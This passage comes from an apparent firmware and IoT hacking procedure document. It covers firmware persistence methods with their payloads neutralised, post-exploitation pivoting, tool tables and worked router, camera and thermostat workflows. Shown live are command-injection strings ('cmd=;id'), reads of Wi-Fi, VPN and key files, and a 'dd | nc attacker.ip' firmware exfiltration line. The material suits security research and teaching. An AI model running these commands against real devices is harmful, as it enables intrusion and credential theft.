# High-level workflow — payload bodies neutralised.
# 1. Extract firmware (binwalk / unblob)
# 2. Add a persistence primitive into the unpacked rootfs:
# - SSH authorized_keys append: >> .../etc/dropbear/authorized_keys
# - Init-script callback: >> .../etc/init.d/rcS
# - Cron entry: >> .../etc/crontabs/root
# The actual key / command line is operator-supplied — see HackTricks
# "Linux Persistence" + PayloadsAllTheThings for working syntax.
# 3. Repack the filesystem:
mksquashfs squashfs-root/ filesystem_modified.squashfs -comp xz
# 4. Rebuild firmware image (format-dependent: TRX, BIN, UIMAGE, ...)
# 5. Upload via the device's update path (web UI, TFTP, OTA channel).Method 2: Cron job (live device, writable rootfs)
# Pattern: append a periodic callback to /etc/crontabs/root.
# Payload body neutralised. See HackTricks "Linux Persistence → Cron".
mount -o remount,rw /
# echo "<cron schedule> <persistence command>" >> /etc/crontabs/root
syncMethod 3: Init script (boot-time persistence)
# Pattern: append a backgrounded persistence command to /etc/init.d/rcS so it
# re-launches on every boot. Payload body neutralised.
mount -o remount,rw /
# echo "<persistence command> &" >> /etc/init.d/rcS
syncPost-Exploitation
Network pivoting:
# Use compromised router as pivot point:
# Route traffic through router to access internal network
# Setup SOCKS proxy (if device has netcat/socat):
ssh -D 8080 root@router.ip
# Or use Metasploit pivot:
msfconsole
use post/multi/manage/autoroute
set session 1
runExtracting sensitive data:
# Wireless credentials:
cat /etc/config/wireless
# Contains WPA/WPA2 passwords
# VPN credentials:
cat /etc/config/vpn
# SNMP community strings:
cat /etc/config/snmpd
# Firmware encryption keys:
find / -name "*.key" -o -name "*.pem"Tools Reference
Firmware Analysis Tools
| Tool | Purpose | Platform |
|---|---|---|
| binwalk | Firmware extraction, entropy analysis | Linux, macOS |
| unblob | Modern Rust+Python carver/extractor (OnekeyLab) [verify 2026-04-26] | Linux, macOS |
| firmware-mod-kit | Firmware unpacking/repacking — legacy, largely unmaintained [verify 2026-04-26] | Linux |
| jefferson | JFFS2 filesystem extractor | Linux |
| sasquatch | SquashFS extractor (supports all versions) | Linux |
| ubi_reader | UBI/UBIFS filesystem extractor | Linux |
| cramfsck | CramFS extractor | Linux |
| firmware-analysis-toolkit (FAT) | Automated firmware analysis (Firmadyne wrapper) | Linux |
| Firmadyne | Automated firmware emulation — upstream stagnant since ~2020 [verify 2026-04-26] | Linux |
| FirmAE | Automated emulation building on Firmadyne, more reliable bring-up [verify 2026-04-26] | Linux |
| FACT | Firmware Analysis and Comparison Tool | Linux (web-based) |
Hardware Tools
Cost figures below are order-of-magnitude — distributor pricing fluctuates with stock and clone availability [verify 2026-04-26].
| Tool | Purpose | Cost (USD, indicative) |
|---|---|---|
| Bus Pirate (v3 / v4 / v5 “Buspirate 5”) | Multi-protocol hardware tool (SPI, I2C, UART, JTAG) | ~$30-80 |
| CH341A | USB SPI flash programmer (3.3V; 1.8V chips need a level shifter) | ~$5-15 |
| XGecu T48 / T56 | Universal programmer (broader chip DB than CH341A); Xgpro Windows software, partial Linux support [verify 2026-04-26] | ~$60-160 |
| FT232 / CP2102 / CH340 | USB to UART adapter | ~$3-10 |
| J-Link (Segger) | JTAG/SWD debugger (ARM); Edu variant restricted to non-commercial use | ~400+ (Plus/Pro) |
| Black Magic Probe | Open-source ARM JTAG/SWD probe with built-in GDB server | ~$60 |
| ST-Link v2 / v3 | STM32-targeted SWD/JTAG (works as generic SWD via OpenOCD) | ~$3-25 |
| Raspberry Pi | Multi-purpose (SPI programmer, JTAG via OpenOCD, GPIO) | ~$15-90 |
| Logic Analyzer | Protocol analysis (Saleae Logic, DSLogic, Pulseview-compatible) | ~500+ (Saleae Pro) |
| JTAGulator | JTAG pin identification (Joe Grand) | ~$150 |
Emulation & Debugging
| Tool | Purpose |
|---|---|
| QEMU | CPU emulation (ARM, MIPS, PowerPC, RISC-V, etc.) |
| Firmadyne | Automated firmware emulation framework — legacy [verify 2026-04-26] |
| firmware-analysis-toolkit (FAT) | Wrapper for Firmadyne with extra fix-ups |
| FirmAE | Firmadyne-derived emulator with improved boot success rates [verify 2026-04-26] |
| ARM-X | ARM firmware emulation framework |
| unicorn / qiling | Selective binary / OS-emulation frameworks |
| OpenOCD | JTAG/SWD debugging (broad target coverage) |
| probe-rs | Rust-native SWD/JTAG host (ARM Cortex-M, RISC-V) [verify 2026-04-26] |
| GDB-multiarch | Multi-architecture debugger |
Binary Analysis
| Tool | Purpose |
|---|---|
| Ghidra | NSA disassembler/decompiler (ARM, MIPS, PowerPC, AArch64, RISC-V); free [verify 2026-04-26 for current major version] |
| IDA Pro / IDA Free | Commercial disassembler (Hex-Rays); deepest ARM/MIPS coverage [verify 2026-04-26] |
| Binary Ninja | Commercial disassembler (Vector 35); strong scripting and BNIL [verify 2026-04-26] |
| Radare2 / rizin / Cutter | Open-source RE framework (rizin/Cutter is the community fork) |
| angr | Binary analysis framework (symbolic execution) |
Exploitation
| Tool | Purpose |
|---|---|
| Metasploit | Exploitation framework |
| pwntools | Exploit development (Python) |
| Burp Suite | Web application testing |
| Nmap | Network scanning (identify open ports/services) |
Utilities
# Essential command-line tools (Debian 12+/13 trixie, Ubuntu 22.04+/24.04):
sudo apt install \
binwalk \
squashfs-tools \
mtd-utils \
flashrom \
openocd \
qemu-user-static \
qemu-system-arm \
qemu-system-mips \
gdb-multiarch \
device-tree-compiler \
python3-pip \
pipx
# Removed from upstream Debian (do NOT add to install line):
# - firmware-mod-kit : last shipped in Debian stretch; archive-only since 2018 [verify 2026-04-26]
# - cramfsprogs : superseded; cramfs is read by the kernel and `binwalk -e`/squashfs-tools cover the carving path
# Modern Python tooling — install per-user with pipx (Debian 12+ marks system pip externally-managed):
pipx install unblob # modern Rust+Python firmware carver (OnekeyLab) [verify 2026-04-26]
pipx install binwalk # if a newer release than apt's is neededPractical Workflows
Workflow 1: Router Firmware Analysis
Scenario: Analyze TP-Link router firmware for vulnerabilities.
Step 1: Acquire firmware
wget https://static.tp-link.com/.../ArcherC7v5_us_firmware.binStep 2: Extract filesystem
binwalk -e ArcherC7v5_us_firmware.bin
cd _ArcherC7v5_us_firmware.bin.extracted/squashfs-root/Step 3: Search for vulnerabilities
# Hardcoded credentials:
grep -r "password" etc/
# Web vulnerabilities:
find www/ -name "*.cgi" -exec grep -l "system(" {} \;
# Example: /www/cgi-bin/admin.cgi calls system() with user inputStep 4: Test exploit
# Emulate firmware (Firmadyne or QEMU)
# Access web interface: http://192.168.0.1/
# Test command injection:
curl "http://192.168.0.1/cgi-bin/admin.cgi?cmd=;id"Step 5: Report vulnerability
# Responsible disclosure to TP-Link
# CVE requestWorkflow 2: IoT Camera Firmware Extraction
Scenario: Extract firmware from Wyze camera via UART.
Step 1: Open device, identify UART
# Locate 4-pin header (TX, RX, GND, VCC)
# Use multimeter to identify GND (continuity to USB shield)Step 2: Connect UART adapter
# Device TX -> Adapter RX
# Device RX -> Adapter TX
# Device GND -> Adapter GNDStep 3: Determine baud rate
# Try 115200 baud:
screen /dev/ttyUSB0 115200
# Press Enter, look for readable output
# If garbage, try other baud ratesStep 4: Access shell
# Power on device, interrupt boot:
# Press Ctrl+C during U-Boot countdown
# Modify boot parameters:
setenv bootargs "init=/bin/sh"
boot
# Now have root shellStep 5: Dump firmware
# Identify flash partitions:
cat /proc/mtd
# Dump firmware:
dd if=/dev/mtd0 | nc attacker.ip 1234
# On attacker machine:
nc -l -p 1234 > firmware.binWorkflow 3: Smart Thermostat Privilege Escalation
Scenario: Escalate from web user to root shell.
Step 1: Analyze web application
# Extract firmware, navigate to web root:
cd squashfs-root/www/
# Find authentication mechanism:
grep -r "login" *.php *.cgiStep 2: Identify command injection
# Vulnerable CGI: /cgi-bin/settings.cgi
# Parameter "temp" is passed to system():
system("echo $QUERY_STRING > /tmp/temp.txt");
# Test injection:
curl "http://thermostat.ip/cgi-bin/settings.cgi?temp=25;id"Step 3: Gain shell
# Same injection primitive as Step 2, but the appended command becomes a
# reverse-shell callback. Payload neutralised — defensive/educational scope.
# curl "http://thermostat.ip/cgi-bin/settings.cgi?temp=25;<URL-encoded reverse-shell>"
#
# Working syntax (architecture-specific): HackTricks → "Reverse Shell Cheatsheet".
# Operator-side listener: nc -l -p <port> (or socat / pwncat-cs / msfconsole multi/handler)Learning Resources
Documentation
- Binwalk Documentation: https://github.com/ReFirmLabs/binwalk/wiki [verify 2026-04-26]
- unblob Documentation: https://unblob.org/ [verify 2026-04-26]
- OpenWrt Developer Guide: https://openwrt.org/docs/guide-developer/start
- Firmadyne (paper / repo): https://github.com/firmadyne/firmadyne (project site
firmadyne.commay be down [verify 2026-04-26]) - FirmAE: https://github.com/pr0v3rbs/FirmAE [verify 2026-04-26]
- probe-rs: https://probe.rs/ [verify 2026-04-26]
- OWASP IoT Security Project: https://owasp.org/www-project-internet-of-things/
- OWASP Firmware Security Testing Methodology (FSTM): https://github.com/scriptingxss/owasp-fstm [verify 2026-04-26]
Books
- The Hardware Hacker by Andrew “bunnie” Huang
- Practical IoT Hacking by Fotios Chantzis et al.
- Hardware Hacking Projects for Geeks by Scott Fullam
Online Courses
- Hardware Hacking (SANS SEC562)
- eLearnSecurity courses now under INE Security branding (post-2022 acquisition) [verify 2026-04-26] — IoT/embedded tracks moved/renamed.
- Offensive IoT Exploitation by Attify
Practice Labs
- IoT Goat (OWASP): Vulnerable IoT firmware (https://github.com/OWASP/IoTGoat) [verify 2026-04-26]
- Damn Vulnerable Router Firmware (DVRF): https://github.com/praetorian-inc/DVRF [verify 2026-04-26]
- Damn Vulnerable ARM Router (DVAR): Practice firmware exploitation [verify 2026-04-26]
Related SOPs
Analysis:
- Reverse Engineering - Binary analysis and disassembly techniques
- Cryptography Analysis - Firmware encryption and authentication bypass
- Malware Analysis - Malicious firmware component analysis
Pentesting & Security:
- Linux Pentesting - Embedded Linux exploitation
- Mobile Security - Mobile firmware and bootloader analysis
- Vulnerability Research - Finding embedded device vulnerabilities
- Web Application Security - Web interfaces on IoT devices
- Detection Evasion Testing - Bypassing firmware security mechanisms
Engagement governance:
- Legal & Ethics - Authorization, DMCA §1201, CFAA, vendor disclosure
- OPSEC Plan - Lab and account hygiene during firmware research
- Collection Log - Evidence chain-of-custody for extracted dumps and bench captures
- Reporting, Packaging & Disclosure - Embargo, IOC defanging, CVE coordination
Version: 1.1 Last Updated: 2026-04-26 Review Frequency: Quarterly (fast-rot watchlist: emulation harnesses, programmer chip databases, debug-probe tooling, vendor-disclosure pathways)